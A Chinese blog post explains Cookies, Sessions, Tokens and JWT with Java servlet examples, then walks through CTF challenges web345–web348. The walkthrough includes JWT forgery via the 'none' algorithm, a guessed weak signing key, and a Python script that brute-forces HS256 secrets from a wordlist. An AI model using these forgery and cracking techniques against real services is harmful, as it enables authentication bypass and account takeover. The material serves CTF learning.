浅谈Cookie、Session、Token、JWT及关于JWT的ctf题目
HTTP无状态
什么是HTTP无协议?
HTTP无状态协议,是指协议对于交互性场景没有记忆能力。 在点击一个纯的html网页,请求获取服务器的html文件资源时,每次http请求都会返回同样的信息,因为这个是没有交互的,每一次的请求都是相互独立的。
如果不使用socket等技术,服务端是无法通过http协议主动的联系请求端,所以服务端在收到客户端的请求后,会给予响应,但是服务端并不认识客户端
对于公开的,面向大众的信息,无论哪个客户端都可以给予响应,但如果涉及到客户端个人信息时则必须对客户端做验证,才能响应给对方
举个例子,
当你在某商场处于未登陆的状态,你看中一个商品需要加入到购物车,若没有登陆则在加入购物车前会跳转到登陆页面,因为服务器需要将你需要购买的商品放到属于你的盒子里,来进行结算。
所以需要一些手段来让服务端认识客户端
设计一个 http web应用
客户端在请求时需要带一个标识,来表明自己的身份,服务端得到标识后,允许客户端访问提供服务的接口
Cookie
Cookie是由服务器端生成,发送给User-Agent,浏览器会将Cookie的key/value保存到某个目录下的文本文件内,下次请求同一网站时就发送该Cookie给服务器
Java中的方法:cookie类
通过Servlet设置Cookie
通过Servlet设置Cookie包含三个步骤:
1.创建一个Cookie对象:
Cookie cookie = new Cookie("key","value");
2.设置最大生存周期:
cookie.setMaxAge(3600);//cookie存活3600s
3.发送cookie到HTTP响应头:
response.addCookie(cookie);
实例:
package com;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
/**
*cookie的创建和发送
*/
@WebServlet(name = "CookieServlet", value = "/CookieServlet")
public class CookieServlet extends HttpServlet {
protected void service(HttpServletRequest request,HttpServletResponse response) throws ServletException,IOException{
//创建Cookie对象:
Cookie cookie = new Cookie("name","zero");
//设置最大生存周期:
cookie.setMaxAge(3600);
//发送cookie到http响应头:
response.addCookie(cookie);
}
}
注:
- maxAge 属性取值为 -1,表示仅当前浏览器有效。
访问CookieServlet,查看network
通过Servlet获取Cookie
在服务器端只提供了一个getCookies()的方法来获取客户端回传的所有cookie组成的数组,如果需要获取单个cookie则需要通过变量来获取cookie的值
//获取Cookie数组
Cookie[] cookies = request.getCookies();
//判断数组是否为空
if (cookies != null && cookies.length > 0){
//遍历Cookie数组
for (Cookie cookie : cookies){
//获取cookie的名称和值
String name = cookie.getName();
String value = cookie.getValue();
System.out.println("名称" + name +",值" + value);
}
Cookie的优缺点
cookie的优点:
1.极高的扩展性和可用性
2.通过良好的编程,控制保存在cookie中的session对象的大小。
3.通过加密和安全传输技术(SSL),减少cookie被破解的可能性。
4.只在cookie中存放不敏感数据,即使被盗也不会有重大损失。
5.控制cookie的生命期,使之不会永远有效。偷盗者很可能拿到一个过期的cookie。
cookie的缺点:
1.Cookie数量和长度的限制。每个domain最多只能有20条cookie,每个cookie长度不能超过4KB,否则会被截掉。
2.安全性问题。如果cookie被人拦截了,那人就可以取得所有的session信息。即使加密也与事无补,因为拦截者并不需要知道cookie的意义,他只要原样转发cookie就可以达到目的了。
3.有些状态不可能保存在客户端。例如,为了防止重复提交表单,我们需要在服务器端保存一个计数器。如果我们把这个计数器保存在客户端,那么它起不到任何作用。
Session
Session 是服务器端会话技术。当浏览器访问 Web 服务器的资源时,服务器可以为每个用户浏览器创建一个 Session 对象,每个浏览器独占一个 Session 对象。
由于每个浏览器独占一个 Session,所以用户在访问服务器的资源时,可以把数据保存在各自的 Session 中。当用户再次访问该服务器中的其它资源时,其它资源可以从 Session 中取出数据,为用户服务。
- 当客户端第一次请求会话对象时,服务器会创建一个 Session 对象,并为该 Session 对象分配一个唯一的 SessionID(用来标识这个 Session 对象);
- 服务器将 SessionID 以 Cookie(Cookie 名称为:“JSESSIONID”,值为 SessionID 的值)的形式发送给客户端浏览器;
- 客户端浏览器再次发送 HTTP 请求时,会将携带 SessionID 的 Cookie 随请求一起发送给服务器;
- 服务器从请求中读取 SessionID,然后根据 SessionID 找到对应的 Session 对象。
sessionid是没有规律的字符串,相当于对用户账号密码加密了,session的会话时间会将cookie的有效时间改为相同,若cookie失效,则会话结束
如果特定时间内有大量用户访问服务器时,服务器则需要存储大量的Session ID 在服务器里
获取session
//获取session
//先获取session对象
HttpSession session = request.getSession();
String value = (String)session.getAttribute("name");
response.getWriter().append(value);
Session 对象在服务器中驻留一段时间后没有被使用,就会被销毁,这个时间就是 Session 的过期时间。
Session 的默认过期时间为 30 分钟,我们可以通过如下两种方式设置过期时间。
1. 使用 元素
在 web.xml 中,使用
<?xml version="1.0" encoding="UTF-8"?>
<web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">
<!--设置session的过期时间-->
<session-config>
<session-timeout>10</session-timeout>
</session-config>
</web-app>
元素用来指定默认 Session 过期时间,以分钟为单位,该元素值必须为整数。 元素的值为零或负数,表示 Session 永远不会过期。
2. 调用 setMaxInactiveInterval() 方法
通过调用 session.setMaxInactiveInterval(int interval) 设置过期时间,以秒为单位,零和负数表示会话永远不会过期,代码如下。
- //设置会话的过期时间
request.getSession().setMaxInactiveInterval(100);
Session 与 Cookie 对比
session存放在服务器端
cookie是一种数据载体
而token是诞生在服务器保存在浏览器这边
session的优缺点
session优点:
1.如果要在诸多Web页间传递一个变量,那么用Session变量要比通过QueryString传递变量可使问题简化。
2.要使WEb站点具有用户化,可以考虑使用Session变量。你的站点的每位访问者都有用户化的经验,基于此,随着LDAP和诸如MS Site
3.Server等的使用,已不必再将所有用户化过程置入Session变量了,而这个用户化是取决于用户喜好的。
4.你可以在任何想要使用的时候直接使用session变量,而不必事先声明它,这种方式接近于在VB中变量的使用。使用完毕后,也不必考虑将其释放,因为它将自动释放。
session缺点:
1.Session变量和cookies是同一类型的。如果某用户将浏览器设置为不兼容任何cookie,那么该用户就无法使用这个Session变量!
2.当一个用户访问某页面时,每个Session变量的运行环境便自动生成,这些Session变量可在用户离开该页面后仍保留20分钟!(事实上,这些变量一直可保留至“timeout”。“timeout”的时间长短由Web服务器管理员设定。一些站点上的变量仅维持了3分钟,一些则为10分钟,还有一些则保留至默认值20分钟。)所以,如果在Session中置入了较大的对象(如ADO,recordsets,connections, 等等),那就有麻烦了!随着站点访问量的增大,服务器将会因此而无法正常运行!对服务器
Token
Token的定义:Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。
使用Token的目的:Token的目的是为了减轻服务器的压力,减少频繁的查询数据库,使服务器更加健壮。
Token的认证流程:
-
- 用户输入用户名和密码,发送给服务器。
- 服务器验证用户名和密码,正确的话就返回一个签名过的token,浏览器客户端拿到这个token。
- 客户端自己保存token,后续每次请求中,浏览器会把token作为http header发送给服务器,服务器验证签名是否有效,如果有效那么认证就成功,可以返回客户端需要的数据。
[
](https://blog.csdn.net/y532798113/article/details/102813264)
JWT:json web token
与普通Token一样都是访问资源的令牌,都可以记录用户信息,都是只有验证成功后才可以获取信息。
不同的是普通Token服务端验证token信息要进行数据的查询操作;JWT验证token信息就不用,在服务端使用密钥校验就可以,不用数据库的查询
服务端不需要存储数据,只需要管签名和验证
JWT格式:
Header.Payload.Signature
Header: {"alg": "HS256","typ": "JWT"}
其中 alg:表示使用的算法默认是HS256 ,typ:表示token类型
然后再用Base64URL 算法进行机密生成一串字符串
Payload: 也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用。
{
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号
}
当然也可以在这一部分存储自己定义的端
Signature:这一部分就是 base64UrlEncode(header)+ base64UrlEncode(palyoad)+密钥
使用alg的算法进行加密
JWT原理:
CTF中的JWT:
web345
访问admin后自动跳转到index.php
查看cookie
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NDk0ODkyMTIsImV4cCI6MTY0OTQ5NjQxMiwibmJmIjoxNjQ5NDg5MjEyLCJzdWIiOiJ1c2VyIiwianRpIjoiZDFmMGQ4ZTc0MDkxN2IxZjZhNzUyY2YwYWQyZjA5N2MifV0
发现value的格式为x.y.z
base64解码
{"alg":"None","typ":"jwt"}[{"iss":"admin","iat":1649489212,"exp":1649496412,"nbf":1649489212,"sub":"user","jti":"d1f0d8e740917b1f6a752cf0ad2f097c"}]
将user改为admin再次加密
eyJhbGciOiJOb25lIiwidHlwIjoiand0In1beyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTQ4OTIxMiwiZXhwIjoxNjQ5NDk2NDEyLCJuYmYiOjE2NDk0ODkyMTIsInN1YiI6ImFkbWluIiwianRpIjoiZDFmMGQ4ZTc0MDkxN2IxZjZhNzUyY2YwYWQyZjA5N2MifV0=
web346
同上一题
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTQ4OTY0MiwiZXhwIjoxNjQ5NDk2ODQyLCJuYmYiOjE2NDk0ODk2NDIsInN1YiI6InVzZXIiLCJqdGkiOiIyMmFmYjFjZTkxZTRkNmM5NzFjNGMwMTcwNzAyNzU3OSJ9.AJx8WiIUz4S7rGJbNv9ukZTrX3TIxEba59UFNYU9YIU
使用base64解码后发现乱码
然后使用JWT在线解密
jwt.io
将sub的值改为admin,密钥盲猜123456
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTQ4OTY0MiwiZXhwIjoxNjQ5NDk2ODQyLCJuYmYiOjE2NDk0ODk2NDIsInN1YiI6ImFkbWluIiwianRpIjoiMjJhZmIxY2U5MWU0ZDZjOTcxYzRjMDE3MDcwMjc1NzkifQ.Ykkf_HZ3kQYmcqePB_rTCNww0RHnsrxXbqEWnJNAPWQ
修改value后访问/admin/
也可以使用python生成
import jwt
# payload
token_dict = {
"iss": "admin",
"iat": 1609236870,
"exp": 1609244070,
"nbf": 1609236870,
"sub": "admin",
"jti": "943d0b3237806659d2e205e42b319494"
}
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效载体
"", # 进行加密签名的密钥
algorithm="none", # 指明签名算法方式, 默认也是HS256
headers=headers
# json web token 数据结构包含两部分, payload(有效载体), headers(标头)
)
print(jwt_token)
web347
同上一题
web348
生成四位小写的字母组合字典
使用python脚本爆破密钥
import jwt
def runblasting(path,jwt_str,alg):
if alg == "none":
alg = "HS256"
with open(path,encoding='utf-8') as f:
for line in f:
key_ = line.strip()
print(' use '+key_)
try:
jwt.decode(jwt_str,verify=True,key=key_,algorithms=alg)
print('found key! --> ' + key_)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key_)
break
except(jwt.exceptions.InvalidSignatureError):
continue
else:
print("key not found!")
if __name__ == '__main__':
runblasting('keys.txt','eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTQ5MDc4MSwiZXhwIjoxNjQ5NDk3OTgxLCJuYmYiOjE2NDk0OTA3ODEsInN1YiI6InVzZXIiLCJqdGkiOiJkMmFlZjNmMGU5MGQ5ODBiYWE1YTJlNjJhMzQ0YWFlMSJ9.ETIzeRukUkoIY2csxQkZk8gLwD13BekWr9gL5ECXahA','HS256')
本文作者:Arreb0_1
本文链接:https://www.cnblogs.com/Arreb0-1/p/16122696.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步